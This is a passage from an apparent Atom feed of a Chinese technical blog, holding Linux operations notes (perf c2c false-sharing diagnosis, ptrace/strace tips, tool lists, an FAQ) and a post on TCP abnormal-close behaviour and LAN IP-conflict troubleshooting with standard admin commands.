&lt;tr&gt;&lt;td&gt;&lt;code&gt;DEVICE_ATTR&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;设备级别属性&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;DRIVER_ATTR_RO&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;DRIVER_ATTR_WO&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;DRIVER_ATTR_RW&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;驱动级别属性&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;属性文件出现在 &lt;code&gt;&#x2F;sys&#x2F;bus&#x2F;&amp;lt;bus_name&amp;gt;&#x2F;&lt;&#x2F;code&gt; 对应目录下，用户可通过 &lt;code&gt;cat&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;echo&lt;&#x2F;code&gt; 读写。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 运维笔记</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/linux-ops/"/>
        <id>https://vercel.juzhong.asia/2025/07/linux-ops/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/linux-ops/">&lt;h1 id=&quot;linux-yun-wei-bi-ji&quot;&gt;Linux 运维笔记&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chang-yong-ming-ling-xing-gong-ju&quot;&gt;常用命令行工具&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;dan-xing-ming-ling-ji&quot;&gt;单行命令集&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# bpf 监控 execve 调用
sudo bpftrace -e &amp;#x27;tracepoint:syscalls:sys_enter_execve { printf(&amp;quot;%-6d %-8s &amp;quot;, pid, comm); join(args-&amp;gt;argv);}&amp;#x27;

# 批量格式化 C++ 代码
git ls-files -- &amp;#x27;*.cpp&amp;#x27; &amp;#x27;*.h&amp;#x27; | xargs clang-format -i -style=file

# 禁用系统休眠
sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target

# 键盘映射调整
setxkbmap -option ctrl:ralt_rctrl
grep -e &amp;quot;ctrl:\|:ctrl&amp;quot; &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;X11&amp;#x2F;xkb&amp;#x2F;rules&amp;#x2F;evdev.lst
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tui-jian-gong-ju-qing-dan&quot;&gt;推荐工具清单&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类别&lt;&#x2F;th&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;文本搜索&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;rg&lt;&#x2F;code&gt; (ripgrep), &lt;code&gt;ag&lt;&#x2F;code&gt;, &lt;code&gt;grep&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Git 浏览&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tig&lt;&#x2F;code&gt;, &lt;code&gt;git&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;JSON 处理&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;jq&lt;&#x2F;code&gt;, &lt;code&gt;python -m json.tool&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;模糊搜索&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;fzf&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;远程连接&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;mosh&lt;&#x2F;code&gt; (UDP SSH), &lt;code&gt;autossh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;进程监控&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;htop&lt;&#x2F;code&gt;, &lt;code&gt;atop&lt;&#x2F;code&gt;, &lt;code&gt;nmon&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;下载工具&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;axel -n 20 &amp;lt;url&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;编译缓存&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ccache&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;命令纠正&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;thefuck&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;剪贴板&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;xclip&lt;&#x2F;code&gt;, &lt;code&gt;xsel&lt;&#x2F;code&gt;, &lt;code&gt;wl-copy&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;wl-paste&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Shell 美化&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;starship&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;大文件创建&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;fallocate -l 100G &amp;lt;file&amp;gt;&lt;&#x2F;code&gt; (秒级创建稀疏文件)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;grep-yan-se-pei-zhi&quot;&gt;grep 颜色配置&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export GREP_COLORS=&amp;#x27;ms=01;33:mc=01;31:sl=:cx=:fn=1;96:ln=1;96:bn=1;96:se=1;97&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ms&lt;&#x2F;code&gt;: 匹配文本颜色&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;mc&lt;&#x2F;code&gt;: 非匹配上下文颜色（&lt;code&gt;-v&lt;&#x2F;code&gt; 时）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;fn&lt;&#x2F;code&gt;: 文件名颜色（&lt;code&gt;-H&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ln&lt;&#x2F;code&gt;: 行号颜色（&lt;code&gt;-n&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;perf-c2c-huan-cun-wei-gong-xiang-zhen-duan&quot;&gt;perf c2c：缓存伪共享诊断&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;wei-gong-xiang&quot;&gt;伪共享&lt;&#x2F;h3&gt;
&lt;p&gt;CPU 缓存以 cacheline（x86-64 为 64 字节）为单位操作。即使变量不被多核共享，只要落在同一 cacheline 上，任一核的写入都会导致其他核的缓存失效，称为伪共享。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-perf-c2c&quot;&gt;使用 perf c2c&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;perf c2c record -g -u .&amp;#x2F;your_program   # 记录
perf c2c report -g --stats             # 统计汇总
perf c2c report -g                     # 详细报告（TUI 界面）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;guan-jian-zhi-biao&quot;&gt;关键指标&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Load LLC Misses&lt;&#x2F;code&gt;：最后一级缓存未命中总数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;LLC Misses to Remote cache (HITM)&lt;&#x2F;code&gt;：从远程 NUMA 拿到脏缓存的比例，这是代价最高的伪共享信号。该值不接近 0 就值得排查&lt;&#x2F;li&gt;
&lt;li&gt;cachelines 按 &lt;code&gt;HITM&lt;&#x2F;code&gt; 降序排列，占比异常集中在某几条的即为竞争热点&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;fen-xi-fang-fa&quot;&gt;分析方法&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;code&gt;perf c2c report -g&lt;&#x2F;code&gt; 的 TUI 界面中：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;找到 &lt;code&gt;HITM&lt;&#x2F;code&gt; 占比过高的 cacheline&lt;&#x2F;li&gt;
&lt;li&gt;按 &lt;code&gt;d&lt;&#x2F;code&gt; 进入 Pareto 分布表，查看访问该 cacheline 的代码符号和行号&lt;&#x2F;li&gt;
&lt;li&gt;按 &lt;code&gt;Enter&lt;&#x2F;code&gt; 查看具体调用栈&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;you-hua-ce-lue&quot;&gt;优化策略&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;将（几乎）只读数据放在一起，减少 cacheline 占用&lt;&#x2F;li&gt;
&lt;li&gt;分离冷热路径：热路径用线程局部计数器，冷路径做汇总&lt;&#x2F;li&gt;
&lt;li&gt;数据结构对齐到 cacheline 并填充到整数倍&lt;&#x2F;li&gt;
&lt;li&gt;减小锁粒度（如 concurrent hash map 的分段锁）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jin-jie-can-shu&quot;&gt;进阶参数&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 提高采样频率（生产环境慎用）
echo 100000 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;perf_event_max_sample_rate

# 提高延迟阈值过滤
perf c2c record -u -l 50 -- -a -g sleep 10

# 采样时间不宜过长（3-10秒），否则观测到的是时间错开的访问
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ptrace-ltrace-strace&quot;&gt;ptrace &#x2F; ltrace &#x2F; strace&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ltrace-bu-shu-chu-wen-ti&quot;&gt;ltrace 不输出问题&lt;&#x2F;h3&gt;
&lt;p&gt;Ubuntu 22 中 &lt;code&gt;ltrace&lt;&#x2F;code&gt; 对 PIE 可执行文件不输出，需重新编译：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -no-pie test.c -o test
ltrace .&amp;#x2F;test
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;strace-yuan-ma-diao-shi&quot;&gt;strace 源码调试&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt source strace
cd strace-*
dpkg-buildpackage -b -uc -us
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zi-jin-cheng-xin-hao-chu-li&quot;&gt;子进程信号处理&lt;&#x2F;h3&gt;
&lt;p&gt;ptrace 追踪子进程时，子进程会收到 &lt;code&gt;SIGSTOP&lt;&#x2F;code&gt;。应忽略第一次 &lt;code&gt;SIGSTOP&lt;&#x2F;code&gt;，否则子进程异常结束；但也不能忽略所有信号，否则无 &lt;code&gt;SIGCHLD&lt;&#x2F;code&gt; 会导致僵尸进程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tong-guo-ptrace-xiu-gai-zi-jin-cheng-can-shu&quot;&gt;通过 ptrace 修改子进程参数&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;code&gt;execve&lt;&#x2F;code&gt; 系统调用时，检查 &lt;code&gt;argv[0]&lt;&#x2F;code&gt; 匹配 &lt;code&gt;gcc&#x2F;g++&#x2F;clang&#x2F;clang++&lt;&#x2F;code&gt;，可以使用栈内存重建 &lt;code&gt;char**&lt;&#x2F;code&gt; 向量替换编译器路径，实现编译器拦截。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ibus-libpinyin-shu-ru-fa&quot;&gt;ibus libpinyin 输入法&lt;&#x2F;h2&gt;
&lt;p&gt;启用 &quot;记住输入&quot; 功能：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set com.github.libpinyin.ibus-libpinyin.libpinyin remember-every-input true
ibus restart
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;排查工具：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ibus engine                           # 查看当前引擎
db_dump ~&amp;#x2F;.cache&amp;#x2F;ibus&amp;#x2F;libpinyin&amp;#x2F;user_bigram.db | head  # 查看用户词组
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用户词组存储在 Berkeley DB (BDB) 格式的 &lt;code&gt;user_bigram.db&lt;&#x2F;code&gt; 中。BDB 是键值存储数据库，不支持 SQL，专为高性能读写设计。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-ti-an-zhuang&quot;&gt;字体安装&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wget -c https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;ryanoasis&amp;#x2F;nerd-fonts&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v2.0.0&amp;#x2F;SourceCodePro.zip
sudo unzip SourceCodePro -d &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;SourceCodePro
sudo mkfontscale &amp;amp;&amp;amp; sudo mkfontdir &amp;amp;&amp;amp; sudo fc-cache -fv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;vscode-fu-jia-gdb-diao-shi-python-zi-jin-cheng&quot;&gt;VSCode 附加 GDB 调试 Python 子进程&lt;&#x2F;h2&gt;
&lt;p&gt;在 &lt;code&gt;launch.json&lt;&#x2F;code&gt; 中配置 C++ (GDB&#x2F;LLDB) 类型，&lt;code&gt;program&lt;&#x2F;code&gt; 设为 &lt;code&gt;python&lt;&#x2F;code&gt;，&lt;code&gt;args&lt;&#x2F;code&gt; 为子进程脚本路径。启动后输入 &lt;code&gt;set follow-fork-mode child&lt;&#x2F;code&gt; 即可附加到子进程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-jian-wen-ti-su-cha&quot;&gt;常见问题速查&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;问题&lt;&#x2F;th&gt;&lt;th&gt;解决&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Docker 安装 GPG 报错&lt;&#x2F;td&gt;&lt;td&gt;检查网络代理，确认 key 服务器可达&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;usermod -aG docker&lt;&#x2F;code&gt; 不生效&lt;&#x2F;td&gt;&lt;td&gt;注销后重新登录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;find -size -1M&lt;&#x2F;code&gt; 只匹配空文件&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;-size -1M&lt;&#x2F;code&gt; 是整数比较，0M 以下为 0。改用 &lt;code&gt;-size -1000k&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;FRP 配置不通&lt;&#x2F;td&gt;&lt;td&gt;检查云服务商安全组和 VPS 防火墙 (&lt;code&gt;systemctl stop firewalld&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;WireGuard 握手失败&lt;&#x2F;td&gt;&lt;td&gt;关闭防火墙验证，之后配置端口放行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GitLab CI SSH 超时&lt;&#x2F;td&gt;&lt;td&gt;在 &lt;code&gt;&#x2F;etc&#x2F;ssh&#x2F;ssh_config&lt;&#x2F;code&gt; 添加 &lt;code&gt;ServerAliveInterval 60&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;zsh &lt;code&gt;no matches found&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;含通配符的参数加引号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;zsh&lt;&#x2F;code&gt; 不加载 &lt;code&gt;.zshrc&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;内容放入 &lt;code&gt;~&#x2F;.zshenv&lt;&#x2F;code&gt; 或在 &lt;code&gt;~&#x2F;.zshenv&lt;&#x2F;code&gt; 中 source&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;cmake 外部依赖未更新&lt;&#x2F;td&gt;&lt;td&gt;删除 build 目录中的 &lt;code&gt;--prefix&lt;&#x2F;code&gt; 对应路径&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;cmake &lt;code&gt;--build&lt;&#x2F;code&gt; 行为异常&lt;&#x2F;td&gt;&lt;td&gt;检查 cmake 是否被 alias：&lt;code&gt;which cmake&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;gcc-bao-jing-chu-li&quot;&gt;GCC 报警处理&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ISO C++11 requires at least one argument for the &quot;...&quot; in a variadic macro&lt;&#x2F;code&gt;：由 &lt;code&gt;-pedantic&lt;&#x2F;code&gt; 检查，可变宏参数为空时触发&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;relocation truncated to fit: R_MIPS_GOT_DISP&lt;&#x2F;code&gt;：MIPS 架构上符号地址超出重定位位数限制，通常因 &lt;code&gt;.so&lt;&#x2F;code&gt; 太大导致，需拆分符号或改用其他重定位方式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>网络调试与流量控制</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/network-debug/"/>
        <id>https://vercel.juzhong.asia/2025/07/network-debug/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/network-debug/">&lt;h1 id=&quot;wang-luo-diao-shi-yu-liu-liang-kong-zhi&quot;&gt;网络调试与流量控制&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;tcp-yi-chang-guan-bi-chang-jing-fen-xi&quot;&gt;TCP 异常关闭场景分析&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;guan-jian-gai-nian&quot;&gt;关键概念&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RST（Reset）&lt;&#x2F;strong&gt;：异常终止连接，接收方得到 &lt;code&gt;Connection reset by peer&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;FIN&lt;&#x2F;strong&gt;：正常关闭连接，接收方 Recv 返回 0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Broken Pipe&lt;&#x2F;strong&gt;：向已收到 RST 的连接写入数据&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;time-wait&quot;&gt;TIME_WAIT&lt;&#x2F;h3&gt;
&lt;p&gt;主动关闭方进入 TIME_WAIT（2MSL，约 60 秒）的原因：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;确保最后的 ACK 能重传给被动关闭方&lt;&#x2F;li&gt;
&lt;li&gt;防止旧连接的残余数据包干扰同五元组的新连接&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;yi-chang-chang-jing-zong-jie&quot;&gt;异常场景总结&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;服务器端表现&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;客户端 crash（不关 socket 直接退出）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Connection reset by peer&lt;&#x2F;code&gt;（104）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;客户端死机&#x2F;断网&#x2F;网线松动&lt;&#x2F;td&gt;&lt;td&gt;无任何错误，等超时断开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;客户端正常关闭 Socket&lt;&#x2F;td&gt;&lt;td&gt;收完数据后 Recv 返回 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;服务器已 close，客户端再发包&lt;&#x2F;td&gt;&lt;td&gt;第 1 包发送成功，第 2 包 &lt;code&gt;Broken pipe&lt;&#x2F;code&gt;（32）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;服务器接收缓冲区有未读数据时 close&lt;&#x2F;td&gt;&lt;td&gt;发送 RST 而非 FIN，客户端收到 104 错误&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;服务器先发数据后 close，客户端再发再收&lt;&#x2F;td&gt;&lt;td&gt;Windows 端 Recv 报 10053；Linux 端正常收完&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;broken-pipe-gen-yin&quot;&gt;Broken Pipe 根因&lt;&#x2F;h3&gt;
&lt;p&gt;收到 RST 后仍向该连接写数据 → &lt;code&gt;SIGPIPE&lt;&#x2F;code&gt; 信号 + &lt;code&gt;EPIPE&lt;&#x2F;code&gt; 错误。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sheng-chan-jing-yan&quot;&gt;生产经验&lt;&#x2F;h3&gt;
&lt;p&gt;跨服跳转的掉线问题常因服务器在接收缓冲区还有未收数据时关闭 Socket，导致对端收到 RST 而非正常关闭。建议&lt;strong&gt;连接关闭由客户端发起&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cuo-wu-ma-dui-zhao&quot;&gt;错误码对照&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Linux&lt;&#x2F;th&gt;&lt;th&gt;Windows&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;104 (ECONNRESET)&lt;&#x2F;td&gt;&lt;td&gt;10054&lt;&#x2F;td&gt;&lt;td&gt;Connection reset by peer&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;32 (EPIPE)&lt;&#x2F;td&gt;&lt;td&gt;10053&lt;&#x2F;td&gt;&lt;td&gt;Broken pipe &#x2F; connection aborted&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Recv 返回 0&lt;&#x2F;td&gt;&lt;td&gt;Recv 返回 0&lt;&#x2F;td&gt;&lt;td&gt;对端正常关闭&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;ju-yu-wang-ip-chong-tu-pai-cha&quot;&gt;局域网 IP 冲突排查&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;di-yi-bu-que-ren-chong-tu&quot;&gt;第一步：确认冲突&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# arping 检测重复 IP（最权威）
arping -D -c 5 -I eth0 &amp;lt;目标IP&amp;gt;
# 收到多个不同 MAC 的回复 = 冲突确认

# 抓包观察 MAC 抖动
tcpdump -i eth0 arp and host &amp;lt;目标IP&amp;gt; -e -c 20

# 反复刷新 ARP 观察
for i in $(seq 1 10); do
  arp -d &amp;lt;目标IP&amp;gt; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
  ping -c 1 -W 1 &amp;lt;目标IP&amp;gt; &amp;gt; &amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1
  arp -n &amp;lt;目标IP&amp;gt; | grep ether
  sleep 1
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;di-er-bu-ding-wei-chong-tu-she-bei&quot;&gt;第二步：定位冲突设备&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;交换机 MAC 表&lt;&#x2F;strong&gt;（最可靠）：
&lt;ul&gt;
&lt;li&gt;Cisco: &lt;code&gt;show mac address-table address aa:bb:cc:dd:ee:02&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;H3C: &lt;code&gt;display mac-address aa:bb:cc:dd:ee:02&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;华为: &lt;code&gt;display mac-address-table address aa:bb:cc:dd:ee:02&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;OUI 厂商查询&lt;&#x2F;strong&gt;：&lt;code&gt;curl -s &quot;https:&#x2F;&#x2F;api.maclookup.app&#x2F;v2&#x2F;macs&#x2F;&amp;lt;mac&amp;gt;&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;nmap 探测&lt;&#x2F;strong&gt;：绑定静态 ARP 后 &lt;code&gt;nmap -O -sV &amp;lt;IP&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;mDNS&#x2F;NetBIOS&lt;&#x2F;strong&gt;：&lt;code&gt;avahi-resolve -a &amp;lt;IP&amp;gt;&lt;&#x2F;code&gt; 或 &lt;code&gt;nbtscan &amp;lt;IP&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DHCP 租约&lt;&#x2F;strong&gt;：&lt;code&gt;grep &quot;&amp;lt;mac&amp;gt;&quot; &#x2F;var&#x2F;lib&#x2F;dhcp&#x2F;dhcpd.leases&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SNMP 遍历&lt;&#x2F;strong&gt;（大型网络）：&lt;code&gt;snmpwalk -v2c -c public &amp;lt;交换机IP&amp;gt; 1.3.6.1.2.1.17.4.3.1.2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;chu-li-cuo-shi&quot;&gt;处理措施&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;DHCP 冲突 → 预留&#x2F;排除该 IP&lt;&#x2F;li&gt;
&lt;li&gt;静态 IP 配错 → 联系管理员修改&lt;&#x2F;li&gt;
&lt;li&gt;流氓设备 → 交换机端口 shutdown &#x2F; MAC 过滤&lt;&#x2F;li&gt;
&lt;li&gt;临时止损 → 交换机 IP-MAC 绑定&lt;&#x2F;li&gt;
